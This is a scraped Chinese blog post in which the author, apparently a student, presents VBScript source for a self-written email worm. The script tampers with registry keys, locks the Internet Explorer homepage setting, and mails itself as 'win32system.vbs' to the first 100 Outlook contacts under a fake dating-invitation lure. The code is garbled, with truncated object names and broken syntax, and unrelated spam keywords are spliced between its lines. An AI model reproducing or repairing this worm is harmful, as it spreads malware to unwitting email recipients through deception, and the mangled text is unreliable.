自己创作的一个简单的蠕虫病毒

⾃⼰创作的⼀个简单的蠕⾍病毒

哈哈哈，好久没更新了，so，话不多说，因为我是学⽣嘛，任务艰巨。

下⾯是源代码江苏省教育学会

on error resume next

北京利国电子

set fs=createobject("ing.filesystemobject"

set specialfolder(0)

set specialfolder(1)

set so=createobject("ing.filesystemobject"

dim r

朝阳新增病例基因序列公布set r=createobject("w.shell"

atp系统

鄂尔多斯现象r.regwrite "hklm\software\microsoft\windows\currentversion\winlogon\legalnoticecaption","警告"

on error resume next

for x=1 to 100

set ateitem(0)

<=ol.getnamespace("mapi".addresslists(1).addressentries(x)

mail.subject="今晚你来吗？"

mail.body="朋友你好：您的朋友rose给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运！同城约会⽹"

mail.attachments.add(dir2&"win32system.vbs"

mail.send

ol.quit

.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\homepage",1,"reg_dword"

混凝土侧压力

本文发布于:2024-09-21 13:25:14，感谢您对本站的认可！

标签：发来邀请附件病例新增序列基因

留言与评论（共有 0 条评论）